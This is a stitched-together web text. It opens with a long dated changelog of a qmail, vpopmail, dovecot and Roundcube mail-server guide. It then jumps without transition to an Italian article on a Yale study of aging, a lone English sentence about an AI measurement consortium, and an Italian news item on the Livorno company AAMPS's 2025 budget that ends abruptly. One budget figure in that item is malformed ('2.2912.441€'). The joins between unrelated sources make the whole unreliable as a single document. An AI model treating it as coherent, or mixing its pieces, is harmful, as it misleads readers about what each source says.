Aug 12, 2022 -dovecot: improved the sql stuff in case of --disable-many-domains (tx kengheng). -dovecot-pwd_query patch for vpopmail: added a procedure for the user_query (needed for dovecot/LDA) -dovecot-pwd_query patch for vpopmail renamed to dovecot-sql-procedures -combined patch for vpopmail updated
Aug 08, 2022 -qmailctl script improved. Now the script exits if services are not started with svscanboot or a supervise script is missing -roundcube/password plugin: the cracklib patch has been improved. Now it can retrieve the correct cracklib-check path
Jul 28, 2022 -The Roundcube plugins' page has been revised and polished. A couple of plugins have been added.
May 22, 2022 qmail patch: "qmail-smtpd pid, qp log" patch (http://iain.cx/qmail/patches.html#smtpd_pidqp) removed, as its log informations are already contained in the qlogreceived line. (diff) -improved a couple of read_failed error messages
May 12, 2022 -clamav: updated to v. 0.105 -qmailctl: a few modifications to avoid error strings in the service uptime when service is stopped. qmail-smtpsd was added to svclist -qmail-smtpsd support added
Apr 22, 2022 -dovecot: added Solr support
Apr 17, 2022 -dovecot/auth-sql.conf.ext: changed the userdb lookup for LDA from static to sql, as the home dir was not retrieved correctly if positioned in a subfolder (i.e. domains/0/domainname).
Apr 9, 2022 qmailadmin: --enable-imageurl=/files is now --enable-imageurl=/qmailadmin/files (no need to have an alias on apache config). Added --disable-catchall, which is bad for spam. Tx Gabriel Torres
Apr 01, 2022 -qmailadmin: new combined patch. It now logs to stderr when qma-auth.log file can't be opened in write mode. It was returning a white screen
Mar 17, 2022 -vpopmail: new combiend patch: fixed a compilation break in vmysql.c with Debian 11 / gcc-10
Feb 26, 2022 -added REJECTNULLSENDERS environment variable (diff)
Feb 18, 2022 -fail2ban: added a couple of new rules to the qmail-smtpd.conf filter
Feb 13, 2022 -fixed a TLS Renegotiation DoS vulnerability. Disabled all renegotiation in TLSv1.2 and earlier. (diff here)
Feb 1, 2022 -added a plugin to qmail to filter bad DNS HELOs (more info here) -Roundcube upgraded to v. 1.5.2
Jan 17, 2022 -new qmail combined patch (diff here): * now qmail-smtpd logs rejects when client tries to auth when auth is not allowed, or it's not allowed without TLS (a closed connection with no log at all appeared before). * added qmail-spp.o to the TARGET file so that it will be purged with "make clean".
Dec 19, 2021 -new qmail combined patch: added qmail-spp patch
Oct 21, 2021 roundcube updated to v. 1.5.0
Sep 28, 2021 clamav updated to v. 0.104. The new version installation is based on cmake (autotools abandoned)
Sep 27, 2021 -new qmail combined patch: now chkuser allows double hyphens "--" in the sender email, like in y--s.co.jp (diff here)
Sep 8, 2021 fail2ban updated to v. 0.11.2 and rc.fail2ban moved to /usr/local/bin/fail2banctl. The dovecot filter has been improved
Sep 2, 2021 -an issue in vusaged configure arised. I cured it with a patch, while Luca in the comments found a different solution.
Aug 22, 2021 -minor fix to qmail patch/qlog: now it logs the auth-type correctly (diff)
Aug 15, 2021 at the bottom of the qmail/testing page I added a note to the testssl script by Dirk Wetter, which allows you to inspect your SSL connection in detail.
July 28, 2021 simscan: my attachments-size-limit patch added. It allows you to overcome a limitation where simscan doesn't pass messages over 250k to spamassassin.
July 16, 2021 spamassassin: bayes_token.token database field changed to binary(5). It was char(5).
Jul 12, 2021 -spamassassin/userprefe: the "preference" varchar length in the database "userprefs" table was increased to 50 (was 30) to create space for long label such as "bayes_auto_learn_threshold_spam", which resulted truncated before the modification.
June 20, 2021 -spamassassin: created a script to process the spam/ham for the learning and reporting system (more info here) -dovecot 15-mailboxes.conf: added mailboxes for the learning and reporting system
June 19, 2021 new qmail combined patch released -chkuser: defined extra allowed characters in sender/rcpt addresses and added the slash to the list (tx Thomas). -RSA key and DH parameters are created 4096 bit long also in Makefile-cert. qmail-smtpd.c and qmail-remote.c updated accordingly (tx Eric Broch). -Makefile-cert: the certs will be owned by vpopmail:vchkpw
March 27, 2021 - bug fixes in the vpopmail/defaultdelivery patch: increased the buffer for the .qmail-default file path, as in particular cases of long path/domain names it will result truncated. Fixed another bug where the .qmail.default file where opened twice. - now if vdelivermail is installed the "delete" option will be used instead of "bounce-no-mailbox", which is not reasonable anymore
March 21, 2021 qmail combined patch updated. update_tmprsadh.sh: RSA key and DH parameters increased to 4096 bits
March 9, 2021 vpopmail: the patch now installs the sql code needed for "one table per domain" (--disable-many-domains) in ~/vpopmail/etc/pwd-query_disable-many-domains.sql and creates the sql procedure if needed. Of course this add-on to vpopmail will be completely transparent when you compile with the default option --enable-many-domains
Feb 26, 2021 vpopmail: added a defaultdelivery patch, which makes vpopmail to copy your preferred delivery agent (stored in QMAILDIR/control/defauldelivery) into the .qmail-default file of any newly created domains, overriding the default vpopmail's behaiviour, where vpopmail copies its delivery agent vdelivermail. Feb 5, 2021 - vpopmail: the patch has been improved. The sql-aliasdomains stuff is now done by means of the vpopmail's C programs and functions. Feb 3, 2021 - vpopmail: new patch and script released. Just configure --enable-sql-aliasdomains (default) and forget. The dbtable will be created the first time you will create an aliasdomain.
Jan 29, 2021 - dovecot/auth-sql.conf.ext now uses the userdb's prefetch driver in order to perform one single query when doing the auth - dovecot/dovecot-sql.conf.ext has been modified to allow authentication both with real and alias domains, provided that you patched vpopmail accordingly. More info in this page. - vpopmail: sql-aliasdomains and combined patch released (new aliasdomains dbtable has to be created!)
Jan 13, 2021 - vpopmail/dovecot: added support for sql aliasdomains
Gen 5, 2021 - dovecot upgraded to v. 2.3.13 (vpopmail-auth removed by dovecot's developers) - pigeonhole upgraded to v. 0.5.13
Gen 3, 2021 - Roundcube: Upgraded to v. 1.4.10 - Roundcube: disabled the SMTP authentication when sending messages via RC. SMTP port changed to 25.
Gen 2, 2021 - ucspi-tcp6: upgraded to latest version - fehQlibs have to be installed as a prerequisite of ucspi-tcp6
Dec 4, 2020 - combined patch for qmail updated to solve compatibility problems with new gcc-10 - a patch was also released to get vpopmail compiled with gcc-10 - Tony Fung suggested a script to expunge messages, which can be very useful in case you need to expunge differently depending on your mailboxes/domains.
Nov 18, 2020 spamassassin: - solved some priviledge problems with the reports of the RC's markasjunk plugin, which is going to write inside the log dir and read the razor's identity file. - moved all log files into /var/log/spamassassin (apache group now has +w priv). spamdctl and logrotate scripts modified accordingly
2020.10.30 Clamav: added clamav-unofficial-sigs (tx Tony Fung for the suggestion). Updated clamdctl and freshclamctl scripts to allow the restart function, needed by clamav-unofficial-sigs script
2020.10.28 modified the spamassassin's DMARC rule. Now it passes emails with one between DKIM and SPF valid, according to RFC7489 (thanks Marcel Veldhuizen and Iulian for the hints)
2020.10.08 rcptcheck-overlimit.sh: bug fix (tx Tony Fung)
2020.09.02 spamassassin/DMARC: corrected the askDNS rule as it was not triggering the reject in the event that only one of DKIM or SPF failed (tx A F)
2020.09.01 qmailadmin: minor adjustments to the skin patch
2020.08.12 dovecot: upgraded to v. 2.3.11.3 dovecot-pigeonhole: upgraded to v. 0.5.11
2020.08.11 Roundcube: upgrade to v. 1.4.8
2020.08.10 - new qmailadmin skin/combined patch released: mod_user.html: added the "value" attribute to the name/gecos input tag (tx Pablo Murillo)
2020.08.04 - simscan: upgraded to v. 1.4.1
2020.08.02 - several clarifications in the simscan page; - revised the ripMIME installation as the dev version of the program is now downloaded from github, to solve complation breaks.
2020.07.29 - new combined patch * dk-filter: corrected a bug where dk-filter was using DKIMDOMAIN unconditionally. Now it uses DKIMDOMAIN only if _SENDER is null (tx Manvendra Bhangui).
2020.07.15 - spamassassin: added Razor2, Pyzor, Spamcop configuration - Roundcube/markasjunk plugin has now info about the cmd_learn and the multi_driver drivers (tx Gabriel Torres)
2020.07.03 Roundcube/password plugin: added a patch to make it work in combination with cracklib, to enforce password strenght (tx Tony Fung)
2020.06.10 Roundcube: upgrade to v. 1.4.5
2020.05.22 new qmailadmin skin/combined patch released
2020.05.05 -qmailadmin * patched qmailadmin to provide a new responsive skin for the control panel. * combined patch released
2020.04.25 -combined patch updated * qmail-smtpd.c: added rcptcount = 0; in smtp_rset function to prevent the maxrcpto error if control/maxrcpt limit has been exceeded in multiple messages sent sequentially rather than in a single mail (tx Alexandre Fonceca)
2020.04.16 - new combined patch: qmail-remote-logging patch added (more info here)
2020.04.10 - new combined patch: DKIM patch updated to v. 1.28 * outgoing messages from null sender ("<>") will be signed as well with the domain in env variable DKIMDOMAIN * declaring NODK env variable disables old domainkeys signature, while defining NODKIM disables DKIM.
2020.03.31 - DKIM configuration: added UNSIGNED_SUBJECT variable to the run files, which can be useful to declare if one wants to allow messages without the sign of the subject (more info here) 2020.03.19 dovecot: added the autoexpunge setting in 15-mailbox.conf. The expunge via cronjob in not needed anymore
2020.02.26 vqAdmin: fixed a problem which was preventing the patch to be applied (tx Marco Varanda)
2020.02.25 dovecot: modified 10-master.conf to set up stats' service priviledges and correct an error which appeared in qmail-send
2020.02.11 table spamassassin.txrep modified as the column "count" was renamed (tx Tony Fung).
2020.02.06 queue-repair.py: applied a patch to make the program python3 compliant (tx Tony Fung)
2020.02.04 dovecot-sql.conf.ext: adjusted the user_query string to get compatibility with mariadb-10.3 (tx Tony Fung)
2020.01.11 - new combined patch: qmail-tls patch updated to v. 20200107 * working client cert authentication with TLSv1.3
2019.12.12 spamassassin: upgraded to v. 3.4.3
2019.12.08 - big patch updated * qmail-smtpd.c: now TLS is defined before chkuser.h call, to avoid errors on closing the db connection (tx ChangHo.Na) - domainkeys script improved: it now manages 2048 bit long key (tx Tatsuya Yokota)
2019.12.01 dovecot: upgraded to v. 2.3.8 dovecot-pigeonhole: upgraded to v. 0.5.8 Roundcube: upgraded to v. 1.4.1 (mobile responsive skin released!) Roundcube plugins: updated
2019.09.18 spamassassin: added a page concerning TxRep and another one concerning DMARC filter
2019.09.09 dovecot: now the SQL user_query retrieves the quota as well (tx Alexandre Fonceca, more info here)
2019.08.07 - a couple of adjustments to chkuser (tx Luca Franceschini, more info here) * BUG - since any other definition of starting_string ends up as "DOMAIN", if starting_string is otherwise defined, chkuser will be turned off. * CHKUSER_ENABLE_ALIAS_DEFAULT, CHKUSER_VAUTH_OPEN_CALL and CHKUSER_DISABLE_VARIABLE are now defined in chkuser_settings.h * Now CHKUSER_DISABLE_VARIABLE, CHKUSER_SENDER_NOCHECK_VARIABLE, CHKUSER_SENDER_FORMAT_NOCHECK, CHKUSER_RCPT_FORMAT_NOCHECK and CHKUSER_RCPT_MX_NOCHECK can be defined at runtime level as well.
2019.06.19 - DKIM patch updated to v. 1.26 * BUG - honor body length tag in verification
2019.05.24 - qmail-tls patch updated to v. 20190517 * bug: qmail-smtpd ssl_free before tls_out error string (K. Wheeler)
2019.05.23 - DKIM patch updated to v. 1.25 * SIGSEGV - when the txt data for domainkeys is very large exposed a bug in the way realloc() was used incorrectly. * On 32 bit systems, variable defined as time_t overflows. Now qmail-dkim will skip expiry check in such conditions.
2019.04.25 * bug fixed on qmail-smtpd.c: it was selecting the wrong openssl version on line 2331 (tx ChangHo.Na) 2019.04.09 - qmail-tls patch updated to v. 20190408 * make compatible with openssl 1.1.0 (Rolf Eike Beer, Dirk Engling, Alexander Hof) * compiler warnings on char * casts (Kai Peter)
2019.03.22 - new combined patch: fixed a bug causing crashes of qmail-remote when using openssl-1.1 (tx Luca Franceschini)
2019.02.27 - port to openssl-1.1 - DKIM patch updated to v. 1.24 * bug fix: restored signaturedomains/nosignaturedomains functionalities.
2019.02.26 simscan: patch updated (tx Pablo Murillo) vQadmin: some adjustments into apache config and it's working again under apache-2.4 (tx Erald)
2019.02.01 fail2ban upgraded to v. 0.10.4
2018.09.23 spamassassin upgraded to v. 3.4.2
2018.08.25 -DKIM patch updated to v. 1.23 * fixed a bug where including round brackets in the From: field ouside the double quotes (From: "Name Surname (My Company)" <name.surname@company.com>) results in a DKIMContext structure invalid error (tx Mirko Buffoni). * qmail-dkim and dkim were issuing a failure for emails which had multiple signature with at least one good signature. Now qmail-dkim and dkim will issue a success if at least one good signature is found.
2018.08.23 -logging patch updated to v. 5 * fixed a bugin logit and logit2 functions where a RSET command and a subsequent brutal quit of the smtp conversation ^] by the client cause a segfault (tx Mirko Buffoni, more info here)
2018.08.02 ezmlm-web: Ricardo Brisighelli sent me two patches which solves compilation breaks with gcc-7
2018.06.22 -clamav updated to v. 0.100.0
2018.04.06 -added a patch to daemontools to extend the log file size limit to 100MB (tx Sam Tang)
2018.04.04 -qmailctl script updated (tx Sam Tang) * "qmailctl stat" now shows something like "0 days, 00 hours 16 mins" * can assign another service which related qmail for monitoring, like dovecot, clamd, freshclam... * change "up" and "down" to green and red color.
2018.04.03 -DKIM patch updated to v. 1.22 * openssl 1.1.0 port * various improvements, bug fixes
2018-03-21 added a new page to explain how to install a letsencrypt certificate for qmail and dovecot here
2018-02-07 clamav updated to v. 0.99.3 (bug fix, tx to Bob Greco)
2018-01-10 == combined patch updated -maildir++ * fixed a bug where the filesize part of the S=<filesize> component of the Maildir++ compatible filename is wrong (tx MG). More info here and here. -qmail-queue-extra * removed, because it was causing more problems than advantages, as the domain of the log@yourdomain.tld had to match the system domain inside control/me and can't be a virtual domain as well. == dovecot: upgraded to v. 2.3.0 == dovecot-pigeonhole: upgraded to v. 0.5.0.1
2017-10-24 new patch arrived (tx Luca Franceschini) -qlogfix (diff here) * log strings should terminate with \n to avoid trailing ^M using splogger * bug reporting custom errors from qmail-queue in qlog -added dnscname patch -added rcptcheck patch added rcptcheck-overlimit.sh (tx Luca Franceschini) added a page about rcptcheck-overlimit.sh usage
2017-09-05 Roundcube upgraded to v. 1.3.1. The enigma plugin requires Crypt_GPG-1.6.2
2017-08-24 -fail2ban: the qmail-smtpd.conf filter has been simplyfied and is now based on the "qlogenvelope" lines
2017-08-18 -combined patch updated: qmail-smtpd now retains authentication upon rset (tx to Andreas)
2017-07-05 -roundcube upgraded to v. 1.3.0
2017-05-14
Combined patch updated: DKIM patch updated to v. 1.20 It now manages long TXT records, avoiding the rejection of some hotmail.com messages.
2016-12-19 -Several new patches and improvements added (thanks to Luca Franceschini) More info here http://notes.sagredo.eu/node/178
2016-12-14 simscan: bug fix and new combined patch (thanks to Bob Greco, more info here)
2016-12-02 -fixed BUG in qmail-remote.c: in case of remote server who doesn't allow EHLO the response for an alternative HELO was checked twice, making the connection to die. (Thanks to Luca Franceschini) Patch applied: http://notes.sagredo.eu/files/qmail/patches/fix_sagredo_remotehelo.patch
2016-09-19 -big patch updated: qmail-tls patch updated to v. 20160918 * bug: qmail-remote accepting any dNSName, without checking that is matches (E. Surovegin) * bug: documentation regarding RSA and DH keys (K. Peter, G. A. Bofill)
2016-05-31 -roundcube upgraded to v. 1.2.0. All plugins updated as well
2016-05-15 -force-tls patch improved (a big thanks to Marcel Telka). Now qmail-smtpd avoids to write the auth verb if the the STARTTLS command was not sent by the client
2016-03-09 -combined patch updated * dkim patch updated to v. 1.19: verification will not fail when a dkim signature does not include the subject provided that the UNSIGNED_SUBJECT environment variable is declared. More info here.
2016-01-18 -removed the line "DKIMKEY=/var/qmail/control/domainkeys/%/default" from the qmail rc config file, as DKIMKEY is actually ignored by dk-filter, which will look for the key in that location by default. Use DKIMSIGN instead to define yor domainkey location (thanks to Steffen for the hint)
2015-12-26 qmail-tls updated to v. 20151215 * typo in #if OPENSSL_VERSION_NUMBER for 2015-12-08 patch release (V. Smith) * add ECDH to qmail-smtpd * increase size of RSA and DH pregenerated keys to 2048 bits * qmail-smtpd sets RELAYCLIENT if relaying allowed by cert more info here -roundcube upgraded to v. 1.1.4 (security fixes, more info here)
2015-12-15 -DKIM patch updated to v. 1.18 (a big thank to Manvendra Bhangui for his kind support). More info here 2015-11-23 qmail-submission/run modified: SMTPAUTH="!" to enable the submission feature (auth required). Now incoming msg can be received only on standard 25 port
2015-10-06 -fail2ban upgraded to v. 0.9.3
2015-10-03 -new combiend patch released: qmail-authentication updated to v. 0.8.3
2015-09-02 dovecot: the user query on the auth is now able to manage pop3/imap/webmail vpopmail limits (thanks to Arturo Blanco)
2015-02-25 the home page graphic of qmailadmin has copyright issues as shown here (thanks to Marc for the hint)
2015-02-17 roundcube: upgraded to v. 1.1.0. All plugins have been upgraded as well
2015-01-10 roundcube: added carddav plugin
2014-11-20 combined patch updated: -the SSLv3 connection upon the auth was switched off because of security reasons (thanks to Florian).
2014-11-15 combined patch updated: -modified the QUEUE_EXTRA variable in extra.h to record the Message-ID in the qmail-send's log (thanks to Simone for the hint). Look here for details.
2014-11-08 simscan has been improved with the jms patch. The work dir is mounted as a ramdisk now
2014-10-29 fail2ban: qmail-smtp.conf filter updated to look for GREETDELAY lines
2014-10-14 SSLv3 disabled on dovecot because of security reasons (more info here)
2014-10-14 dovecot upgraded to v. 2.2.14 dovecot-pigeonhole recompiled
2014-10-04 dovecot upgraded to v. 2.2.14.rc1 dovecot-pigeonhole upgraded to v. 0.4.3 the global sieve folder was moved to /usr/local/dovecot/etc/sieve/
2014-09-29 roundcube upgraded to v. 1.0.3. added a roundcube-auth filter to fail2ban
2014-08-26 roundcube upgraded to v. 1.0.2. Fixed some errors in the relative page, as sometime the $config variable was still $rcmail_config as in the past, and all the config files are now merged into config.inc.php (thanks to Otto)
2014-08-24 the log rotation of qmail is managed by the jms' https://qmail.jms1.net/scripts/convert-multilog. Thanks to Marc for the suggestion
2014-05-13 clamav upgraded to v. 0.98.3 roundcube upgraded to v. 1.0.1 ezmlm-idx upgraded to v. 7.2.2 qmailadmin recompiled against ezmlm-idx-7.2.2
2014-05-03 ezmlm-idx upgraded to v. 7.2.0 Bruce Guenter has released a new version of ezmlm-idx, getting the program to be compliant with the Yahoo DMARC Policy Change. You have to recompile qmailadmin against ezmlm as well.
2014-04-14 combined patch updated: -added qmail-maxrcpt patch, which allows you to set a limit on how many recipients are specified
2014-04-08 roundcube upgraded to v. 1.0.0
2014-03-10 combined patch updated: -added qmail-smtpd-liberal-lf patch, which allows qmail-smtpd to accept messages that are terminated with a single \n instead of the required \r\n sequence. This should avoid some "read failed" reject.
2014-02-14 spamassassin upgraded to v. 3.4.0
2014-01-10 roundcube upgraded to v. 1.0-rc. Plugins have been upgraded as well
2014-01-24 ucspi-tcp6 upgraded to v. 1.00: fixed problems when compiling with C99 compilers
2013-12-30 combined patch updated: -added qmail-SRS patch. You must install libsrs2 now. -the character "=" in the sender address is now considered valid by chkuser in order to accept SRS
2013-12-20 combined patch update (more info here): -added qmail-date-localtime patch -added qmail-hide-ip patch -the original greetdelay by e.h. has been replaced with the improved patch by John Simpson. Now communications trying to send commands before the greeting will be closed. Premature disconnections will be logged as well. More info here -modified the configuration of qmail-smtpd and qmail-submission according to the new greetdelay patch -updated the page concerning greetdelay -CHKUSER_SENDER_FORMAT enabled to reject fake senders without any domain declared (like ) -chkuser logging: I slightly modified the log line adding the variables' name just to facilitate its interpretation -added qmail-moreipme patch -added qmail-dnsbl patch (more info here) -added a page concerning qmail-dnsbl patch
2013-12-05 added two patches to my combined patch to make qmail rfc2821 compliant
2013-11-23 any-to-cname patch added to the combined patch
2013-10-30 Added two contributions by Costel Balta: -how to avoid to be "cut off" from spamhaus.org (read here) -adding the foxhole db to clamav (on the bottom of the clamav page)
2013-09-27 -DKIM patch upgraded to v. 1.17. Defined -DHAVE_SHA_256 while compiling dkimverify.cpp in the Makefile. This solved an issue while verifying signatures using sha256.
2013-09-16 Minor fixes to the DKIM patch
2013-09-14 -new combined patch released. The DKIM patch has been upgraded to v. 1.16; the signing at qmail-remote level has been revised by its author. -I added notes about qmail-remote signing in the DKIM page of this guide. -the domainkey program now gives ownership of the domainkey to qmailr, which runs qmail-remote
2013-08-22 ucspi-tcp6: upgraded to v. 0.99. The current version includes an hack by Manvendra Bhangui from indimail.org which gets tcpserver and qmail's spfcheck to be IPv4-mapped IPv6 addresses compliant, provided that you install his modified qmail-spf patch (my combined patch already has this adjustment to spf). Fot those interested, a few days ago Manvendra Bhangui released a package of patches including now not only DKIM and SURBL but also SPF and the entire qmail totally IPv6 compliant. The upgrade for me is not so straightforward, but I'm planning to have it in my big patch soon or later. For the moment you can play with it downloading from http://sourceforge.net/projects/indimail/files/netqmail-addons/qmail-dkim-1.0/
2013-08-21 -big patch updated: fixed a bug in hier.c which caused the installation not to build properly the queue/todo dir structure (thanks to Scott Ramshaw)
2013-08-19 -DKIM-SURBL patch by Manvendra Bhangui updated to v. 1.14 -added a page about SURBL configuration
2013-08-12 -DKIM patch upgraded to v. 1.12. The new patch adds surblfilter functionality. -added qmail-smtpd pid, qp log patch
2013-08-08 -qmail-SPF modified by Manvendra Bhangui to make it IPv4-mapped IPv6 addresses compliant. In order to have it working with such addresses you have to patch tcpserver.c accordingly. You can use a patch fot ucspi-tcp6-0.98 by Manvendra Bhangui at http://notes.sagredo.eu/files/qmail/patches/tcpserver-ipv6mapped_ipv4.patch or wait for v. 0.99 relase of ucspi-tcp6 -added outgoingip patch -added qmail-bounce patch
2013-05-20 dovecot: upgraded to v. 2.2.2 dovecot-pigeonhole: rebuilt
2013-05-18 Roundcube: upgraded to v. 0.9.1
2013-05-09 -dovecot-pigeonhole: upgraded to stable 0.4.0 version
2013-05-06 -dovecot: upgraded to v. 2.2.1 The configuration has been modified to use the sql/mysql driver in place of the vpopmail one; the password is now sended in plain text -dovecot-pigeonhole: upgraded to latest development version -RoundCube: imap_auth_type has been set to NULL to send the password in plain text and make dovecot's auth happy -the dovecot's expunge shell script was simplyfied. Using the sql driver solved all issues of the old vpopmail backend related to the missing iteration feature.
2013-04-16 Roundcube: upgraded to v. 0.9.0 All rc plugins have been updated as well
2013-03-31 new combined patch: qmail-auth updated to latest v. 0.8.1 Added authentication by recipient domain for qmail-remote. Look at README.auth for further details
2013-02-11 new combined patch: some code adjustments in qmail-smtpd.c smtpd_ehlo() to restore total compatibility with esmtp-size patch
2013.01.28 new combined patch released: fixed an issue on qmail-pop3d which was causing a double +OK after the pass command (thanks to Rakesh, Orbit and Simplex for helping in testing and troubleshooting)
2013.01.27 ucspi-tpc6: updated to v. 0.97
2013.01.06 ucspi-tpc6 0.96 by E.Hoffmann replace the ucspi-tcp 0.88 by DJB. It provides IPv6 and rblsmtpd greetdelay support combined patch modified. The variable GREETDELAY was renamed to SMTPD_GREETDELAY just to avoid conflicts with the GREETDELAY variable inside rblsmtpd qmail-smtpd/run file modified accordingly
2012.11.14 Roundcube: upgraded to v. 0.8.4
2012.11.10 Roundcube: upgraded to v. 0.8.3. Autologon plugin: modified
2012-10-31 new combined patch: qmail-auth has been updated to the latest v. 0.7.5. Look at README.auth for further details The qmail-forcetls patch was simplyfied accordingly.
2012.10.25 vpopmail: upgraded to v. 5.4.33 (now marked as stable). Be aware that you have to recompile netqmail, qmailadmin and vqadmin as well. qmailadmin: upgraded to v. 1.2.16
2012.10.19 Roundcube: added context menu, autologon and logout_redirect plugins
2012.10.18 Roundcube: upgraded to v. 0.8.2
2012.10.11 dovecot: upgraded to v. 2.1.10 dovecot-pigeonhole: upgraded to v.0.3.3
2012.09.04 zipdownload Roundcube's plugin: modified to gain compatibility to v. 0.8.1 (thanks to taki)
2012.08.31 Roundcube: upgraded to v. 0.8.1 dovecot: upgraded to v. 2.1.9 dovecot-pigeonhole: recompiled
2012.08.11 Roundcube: upgraded to v. 0.8.0
2012.05.26 dovecot-pigeonhole: upgraded to v 0.3.1
2012.05.24 dovecot: upgraded to v. 2.1.6
2012-04-25 new combined patch: added qmail-remote CRLF (thanks to Pierre Lauriente for the help on testing and troubleshooting) The qmail-remote CRLF patch solved a problem of broken headers after sieve forwarding that was caused by a bad handling of the CR (carriage return) by qmail-remote. The issue is also reported here http://www.dt.e-technik.uni-dortmund.de/~ma/qmail-bugs.html
2012.04.16 qmail-tap added to my combined patch
2012.03.03 dovecot: upgraded to v. 2.1.1 The configuration files have been updated: the most important change was the location of auth_socket_path variable inside 10-mail.conf
2012.02.17 dovecot: upgraded to v. 2.1.0 dovecot-pigeonhole: upgraded to v.0.3.0
2012.02.08: esmtp-size patch added to my combined patch
2012.01.29: New combined patch released: added doublebounce-trim patch
2012.01.21 Roundcube: updated to v. 0.7.1. All plugins have been updated to latest version as well.
2011.12.13 dnsbl.sorbs.org is not on my RBL examples anymore, as it proved to be a bad list. It's rejecting gmail's IPs and also confusing the IP of my own server as dynamic.
2011.12.12 New combined patch released. -modified update_tmprsadh to chown the .pem files to vpopmail to avoid hang-ups during the smtp conversation on port 587 caused by permission problems.
2011.10.06 New combined patch released. -fixed qmail-remote.c which was not going into tls on authentication (thanks to Krzysztof Gajdemski) -force-tls now quits if the starttls command is not provided when required (thanks to Jacekalex)
2011.09.30 Dovecot: upgraded to v. 2.0.15 dovecot-pigeonhole: upgraded to v . 0.2.4 ICU: upgraded to v. 4.8.1
2011.09.29 RoundCube: upgraded to v. 0.6. All plugins have been updated to latest version
2011.08.13 RoundCube: upgraded to v. 0.5.4 (security fix)
2011.07.27: Big patch updated. My force-tls patch allows the management of STARTTLS and CRAM-MD5 variables in the run file, so that there's no need to recompile each time anymore. I also added the "qmail-inject-null-sender" patch by Stéphane Cottin, which addresses a bug on qmail-inject
2011.07.23 The configuration of dovecot was updated to allow maildir++ (thanks to Nicolas) on files 90-quota.conf and 20-imap.conf
2011.07.15 The combined patch has been updated: an issue which caused the compilation's break down of qmail on 64b platforms has been fixed
2011.07.03 Added support for rblsmtpd. Added a page about the greetdelay patch.
2011.06.29 New combined patch released. Added ext-todo and big-todo patches, which adress the "silly qmail syndrome" on big servers.
2011.06.24 Spamassassin: updated to v. 3.3.2
2011.06.02 Roundcube: updated to v. 0.5.3 (2 important bug fixes)
2011.05.29 Dovecot: added a page concerning the purging of expired emails from Trash/Junk
2011.05.25 RoundCube: updated to v. 0.5.2. Updated almost all roundcube's plugin to latest version.
Che cosa c’è dietro un’importante affermazione dell’università di Yale sull’invecchiamento? Lo studio di un suo team di scienziati ribalta l’opinione che diventare anziani sia un male: l’avanzare dell’età offre possibilità di miglioramento, perché? Gli studiosi affermano che è proprio il pensiero degli anziani sull’invecchiare a influenzare un processo che fa i conti con la salute ma ha anche delle potenzialità. Quindi, sono mentalità e pregiudizi che possono incidere sulla qualità della vita dopo gli anta.
L’autrice dello studio, Becca R. Levy, docente di scienze sociali e comportamentali, ha analizzato i dati di uno studio decennale sugli anziani americani a livello nazionale. La scoperta all’interno del dipartimento di salute della Yale School è che la metà degli adulti di età pari o sopra i 65 anni ha mostrato un miglioramento cognitivo ma anche fisico nel tempo.
In tarda età, molte fatiche della vita come il lavorare, portare pesi e altro vengono limitate. Si tende a faticare meno o a disincentivare il lavoro più pesante. Mente e fisico sicuramente devono affrontare primi problemi di salute. Però, non è una costante e molti anziani, che hanno più tempo libero, possono usufruirne per migliorarsi e migliorare anche le condizioni fisiche.
I dati riconsiderati dell’Health and Retirement Study: anziani dai 65 anni in su seguiti per 12 anni tra attività fisiche e vita quotidiana per scoprire la tendenza al miglioramento
L’analisi di Becca Levy non ha scoperto miglioramenti in piccoli gruppi eccezionali ma in soggetti collegati o accomunati da diversi fattori importanti. Tra questi, anche il non vedere l’invecchiamento per forza come un ostacolo o un decadimento. I risultati sono stati pubblicati sulla rivista Geriatricse contengono diverse informazioni.
L’Health and Retirement Study è l’indagine longitudinale sugli anziani americani, finanziata a livello federale. Coinvolse 11.000 partecipanti ed è lo studio utilizzato per trarre i dati sulla nuova filosofia dell’invecchiamento. I cambiamenti cognitivi furono valutati considerando funzionalità fisiche come camminata veloce e altre attività. In un follow-up di 12 anni, il 45% dei partecipanti ha registrato miglioramenti in due ambiti di vita. Il 32% ha registrato miglioramenti cognitivi, il 28% miglioramenti fisici.
Queste percentuali non dicono che non ci siano deterioramenti fisici e cognitivi, come dice lo studio stesso: “Se si fa la media di tutti, si nota un declino. Ma quando si considerano le traiettorie individuali, si scopre una storia molto diversa. Una percentuale significativa dei partecipanti più anziani che abbiamo studiato è migliorata“.
The consortium will focus on AI innovation and adoption, with six task groups concentrating on different aspects of AI measurement science and evaluation.
Approvato il bilancio 2025, è il settimo consecutivo. Il Sindaco: “AAMPS orgoglio della città”
Ratificando un utile di 252.000 € l’Assemblea dei Soci di AAMPS ha approvato nei giorni scorsi il bilancio aziendale 2025. Un risultato in linea con quanto registrato negli anni precedenti, comprendendo anche quelli relativi all’uscita anticipata dal concordato preventivo in continuità, con i bilanci che avevano ottenuto analoghi risultati (965.202€ nel 2019, 2.2912.441€ nel 2020, 515.035€ nel 2021, 94.835€ nel 2022, 131.270€ nel 2023 e 145.704 € nel 2024).
La notizia era stata anticipata nei giorni scorsi durante una conferenza stampa dedicata ai bilanci di tutte le aziende partecipate del Comune di Livorno, ma il Sindaco di Livorno Luca Salvetti, affiancato dall’Amministratore Unico Aldo Iacomelli e dalle assessore Viola Ferroni e Giovanna Cepparello, ha tenuto ad aprire un faro su AAMPS/Retiambiente.
Luca Salvetti, Sindaco di Livorno
“Sono orgoglioso di questa azienda, dei servizi che eroga e di tutti i suoi lavoratori. Nel 2019 abbiamo trovato AAMPS in concordato preventivo, con un futuro a dir poco incerto e il rischio concreto di vederla soccombere sotto il peso di conti sballati e servizi alla cittadinanza inadeguati. Ora registriamo l’ennesimo bilancio in utile consecutivo, con il personale incrementato e stabilizzato e prospettive di consolidamento e sviluppo prima impensabili. In tale percorso siamo riusciti a traghettarla in RetiAmbiente consolidandone la vocazione industriale e riuscendo a contenere la TARI senza aumentarla per cinque anni e allineandola agli importi degli altri capoluoghi di provincia della Toscana. Sono i fatti che ci permettono di respingere al mittente le accuse sollevate recentemente da alcuni esponenti dell’opposizione in consiglio comunale ammantate di macroscopiche inesattezze e castronerie indecifrabili sia riconducibili all’azienda sia alla sua holding”.
Viola Ferroni, assessora alle Società Partecipate
